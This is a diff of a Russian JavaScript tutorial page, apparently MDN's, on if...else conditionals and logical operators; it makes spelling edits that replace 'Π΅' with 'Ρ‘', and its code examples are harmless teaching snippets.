-<p>И, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΈΠ½ΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄Β <code>if...else</code> Π±Π΅Π· Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок Π² сокращСнной Ρ„ΠΎΡ€ΠΌΠ΅:</p>
+<p>И, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΈΠ½ΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄Β <code>if...else</code> Π±Π΅Π· Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок Π² сокращённой Ρ„ΠΎΡ€ΠΌΠ΅:</p>
<pre class="notranslate">if (condition) code to run if condition is true
else run some other code instead</pre>
@@ -83,7 +83,7 @@ else run some other code instead</pre>
<h3 id="Π Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Π Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ синтаксис, Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠ°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΡ‚Π΅Ρ† попросили ΠΏΠΎΠΌΠΎΡ‡ΡŒ с Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ ΠΏΠΎ Π΄ΠΎΠΌΡƒ своСго Ρ€Π΅Π±Π΅Π½ΠΊΠ°.Β Β Π ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ: "Если Ρ‚Ρ‹ помоТСшь ΠΌΠ½Π΅ с ΠΏΠΎΠΊΡƒΠΏΠΊΠ°ΠΌΠΈ, Ρ‚ΠΎ я Π΄Π°ΠΌ Ρ‚Π΅Π±Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ дСньги Π½Π° ΠΊΠ°Ρ€ΠΌΠ°Π½Π½Ρ‹Π΅ расходы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ‹ смоТСшь ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π½Π° ΠΈΠ³Ρ€ΡƒΡˆΠΊΡƒ, ΠΊΠ°ΠΊΡƒΡŽ Π·Π°Ρ…ΠΎΡ‡Π΅ΡˆΡŒ".Β Β Π’Β JavaScript, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ‚Π°ΠΊ:Β </p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ синтаксис, Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠ°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΡ‚Π΅Ρ† попросили ΠΏΠΎΠΌΠΎΡ‡ΡŒ с Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ ΠΏΠΎ Π΄ΠΎΠΌΡƒ своСго Ρ€Π΅Π±Ρ‘Π½ΠΊΠ°.Β Β Π ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ: "Если Ρ‚Ρ‹ помоТСшь ΠΌΠ½Π΅ с ΠΏΠΎΠΊΡƒΠΏΠΊΠ°ΠΌΠΈ, Ρ‚ΠΎ я Π΄Π°ΠΌ Ρ‚Π΅Π±Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ дСньги Π½Π° ΠΊΠ°Ρ€ΠΌΠ°Π½Π½Ρ‹Π΅ расходы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ‹ смоТСшь ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π½Π° ΠΈΠ³Ρ€ΡƒΡˆΠΊΡƒ, ΠΊΠ°ΠΊΡƒΡŽ Π·Π°Ρ…ΠΎΡ‡Π΅ΡˆΡŒ".Β Β Π’Β JavaScript, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ‚Π°ΠΊ:Β </p>
<pre class="brush: js notranslate">var shoppingDone = false;
@@ -93,7 +93,7 @@ if (shoppingDone === true) {
var childsAllowance = 5;
}</pre>
-<p>Π’ этом кодС, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, всСгда Π±ΡƒΠ΄Π΅Ρ‚Β <code>shoppingDone</code>Β Ρ€Π°Π²Π½Ρ‹ΠΉ <code>false</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ для нашСго Π±Π΅Π΄Π½ΠΎΠ³ΠΎ Ρ€Π΅Π±Π΅Π½ΠΊΠ°. ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для родитСля, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>shoppingDone</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Β <code>true</code>Β , Ссли Ρ€Π΅Π±Π΅Π½ΠΎΠΊ ΠΏΠΎΠΌΠΎΠ³ с ΠΏΠΎΠΊΡƒΠΏΠΊΠ°ΠΌΠΈ.</p>
+<p>Π’ этом кодС, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, всСгда Π±ΡƒΠ΄Π΅Ρ‚Β <code>shoppingDone</code>Β Ρ€Π°Π²Π½Ρ‹ΠΉ <code>false</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ для нашСго Π±Π΅Π΄Π½ΠΎΠ³ΠΎ Ρ€Π΅Π±Ρ‘Π½ΠΊΠ°. ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для родитСля, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>shoppingDone</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Β <code>true</code>Β , Ссли Ρ€Π΅Π±Ρ‘Π½ΠΎΠΊ ΠΏΠΎΠΌΠΎΠ³ с ΠΏΠΎΠΊΡƒΠΏΠΊΠ°ΠΌΠΈ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ большС Π²Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">ΠΏΠΎΠ»Π½ΠΎΠΉ вСрсии этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π½Π° GitHub</a>Β (Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΎΠ½ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²ΠΆΠΈΠ²ΡƒΡŽ</a>.)</p>
@@ -143,7 +143,7 @@ function setWeather() {
<ol>
<li>Π—Π΄Π΅ΡΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ элСмСнт HTMLΒ {{htmlelement("select")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΌ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ ΠΏΠΎΠ³ΠΎΠ΄Ρ‹ ΠΈ простой Π°Π±Π·Π°Ρ†.</li>
- <li>Π’ JavaScript ΠΌΡ‹ создаСм ссылки на элСмСнты {{htmlelement("select")}} ΠΈ {{htmlelement("p")}} ΠΈ добавляСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события элСмСнта <code>&lt;select&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π΅Π³ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ значСния Π·Π°ΠΏΡƒΡΠΊΠ°Π»Π°ΡΡŒ функция <code>setWeather()</code>.</li>
+ <li>Π’ JavaScript ΠΌΡ‹ создаём ссылки на элСмСнты {{htmlelement("select")}} ΠΈ {{htmlelement("p")}} ΠΈ добавляСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события элСмСнта <code>&lt;select&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π΅Π³ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ значСния Π·Π°ΠΏΡƒΡΠΊΠ°Π»Π°ΡΡŒ функция <code>setWeather()</code>.</li>
<li>Когда функция Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π°, ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>choice</code>, которая Ρ€Π°Π²Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π² элСмСнтС  <code>&lt;select&gt;</code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ для отобраТСния тСкста Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π° Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Ρƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ Β <code>choice</code>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ всС условия ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ Π² <code>else if() {...}</code> Π±Π»ΠΎΠΊΠ°Ρ…, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>if() {...}</code>Π±Π»ΠΎΠΊ.</li>
<li>ПослСдний Π²Ρ‹Π±ΠΎΡ€, Π²Π½ΡƒΡ‚Ρ€ΠΈ Β <code>else {...}</code> Π±Π»ΠΎΠΊΠ°, Π² основном являСтся «послСдним срСдством» β€” ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½, Ссли Π½ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· условий Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>true</code>. Π’ этом случаС ΠΎΠ½ слуТит для удалСния тСкста ΠΈΠ· Π°Π±Π·Π°Ρ†Π°, Ссли Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π²Ρ‹Π±Ρ€Π°Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΡŽ "--Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Π²Ρ‹Π±ΠΎΡ€--" которая ΡƒΠΊΠ°Π·Π°Π½Π° Π² Π½Π°Ρ‡Π°Π»Π΅.</li>
</ol>
@@ -176,7 +176,7 @@ if (cheese) {
console.log('БСгодня Π½Π΅Ρ‚ сыра для Π±ΡƒΡ‚Π΅Ρ€Π±Ρ€ΠΎΠ΄Π°.');
}</pre>
-<p>И, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒΒ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ ΠΎ Ρ€Π΅Π±Π΅Π½ΠΊΠ΅, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅ΠΌ ΠΏΠΎΡ€ΡƒΡ‡Π΅Π½ΠΈΠ΅ своСго родитСля, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ это Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
+<p>И, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒΒ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ ΠΎ Ρ€Π΅Π±Ρ‘Π½ΠΊΠ΅, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅ΠΌ ΠΏΠΎΡ€ΡƒΡ‡Π΅Π½ΠΈΠ΅ своСго родитСля, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ это Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">var shoppingDone = false;
@@ -188,7 +188,7 @@ if (shoppingDone) { // Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ явно ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ '=== true'
<h3 id="Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ_if_..._else">Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ if ... else</h3>
-<p>Π’ΠΏΠΎΠ»Π½Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>if...else</code>Β Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎΒ β€” Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΈΡ…. НапримСр, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ нашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Π½ΠΎΠ·Π° ΠΏΠΎΠ³ΠΎΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π½Π°Π±ΠΎΡ€ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π² зависимости ΠΎΡ‚ Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹:</p>
+<p>Π’ΠΏΠΎΠ»Π½Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>if...else</code>Β Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎΒ β€” Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΈΡ…. НапримСр, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ нашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Π½ΠΎΠ·Π° ΠΏΠΎΠ³ΠΎΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Π½Π°Π±ΠΎΡ€ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π² зависимости ΠΎΡ‚ Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹:</p>
<pre class="brush: js notranslate">if (choice === 'sunny') {
if (temperature &lt; 86) {
@@ -228,7 +228,7 @@ if (shoppingDone) { // Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ явно ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ '=== true'
console.log('ВСроятно, ΠΌΠΎΠΆΠ½ΠΎ Π² Π½Π΅ΠΌ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ.');
}</pre>
-<p>ПослСдний Ρ‚ΠΈΠΏ логичСского опСратора НЕ, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ <code>!</code> ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для отрицания выраТСния.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ объСдиним Π΅Π³ΠΎ с Π˜Π›Π˜ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
+<p>ПослСдний Ρ‚ΠΈΠΏ логичСского опСратора НЕ, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ <code>!</code> ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для отрицания выраТСния.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ объСдиним Π΅Π³ΠΎ с Π˜Π›Π˜ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
<pre class="brush: js notranslate">if (!(iceCreamVanOutside || houseStatus === 'on fire')) {
console.log('ВСроятно, ΠΌΠΎΠΆΠ½ΠΎ Π² Π½Π΅ΠΌ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ.');
@@ -236,7 +236,7 @@ if (shoppingDone) { // Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ явно ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ '=== true'
console.log('Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ быстро ΠΏΠΎΠΊΠΈΠ½ΡƒΡ‚ΡŒ Π΄ΠΎΠΌ.');
}</pre>
-<p>Π’ этом Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅, Ссли условиС Π˜Π›Π˜ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ НЕ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚ΡŒ это ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>.</p>
+<p>Π’ этом Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅, Ссли условиС Π˜Π›Π˜ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ НЕ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚ΡŒ это ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>.</p>
<p>МоТно ΡΠΎΡ‡Π΅Ρ‚Π°Ρ‚ΡŒ любоС количСство логичСских ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², Π² любой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ Π² любой ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄ Π² Π±Π»ΠΎΠΊΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΎΠ±Π° условия с Π˜Π›Π˜Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ true, Π° ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ И Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true:</p>
@@ -244,13 +244,13 @@ if (shoppingDone) { // Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ явно ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ '=== true'
// ΠΊΠΎΠ΄ выполняСтся
}</pre>
-<p>РаспространСнной ошибкой ΠΏΡ€ΠΈ использовании логичСского ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π˜Π›Π˜ Π² условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ являСтся ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΒ ΡΠΎ списком Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ этой ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ <code>||</code> (Π˜Π›Π˜). НапримСр.</p>
+<p>Распространённой ошибкой ΠΏΡ€ΠΈ использовании логичСского ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π˜Π›Π˜ Π² условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ являСтся ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΒ ΡΠΎ списком Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ этой ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ <code>||</code> (Π˜Π›Π˜). НапримСр.</p>
<pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) {
// Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄
}</pre>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ условиС Π² <code>if(...)</code>Β  всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ†Π΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ true, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ 7 (ΠΈΠ»ΠΈ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ†Π΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ true. ЀактичСски, это условиС гласит «Ссли Ρ… Ρ€Π°Π²Π΅Π½ 5, ΠΈΠ»ΠΈ 7 являСтся trueΒ». Но Π½Π°ΠΌ трСбуСтся совсСм Π½Π΅ это. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ Π½ΡƒΠΆΠ½ΠΎΠΉ Ρ†Π΅Π»ΠΈ, придСтся 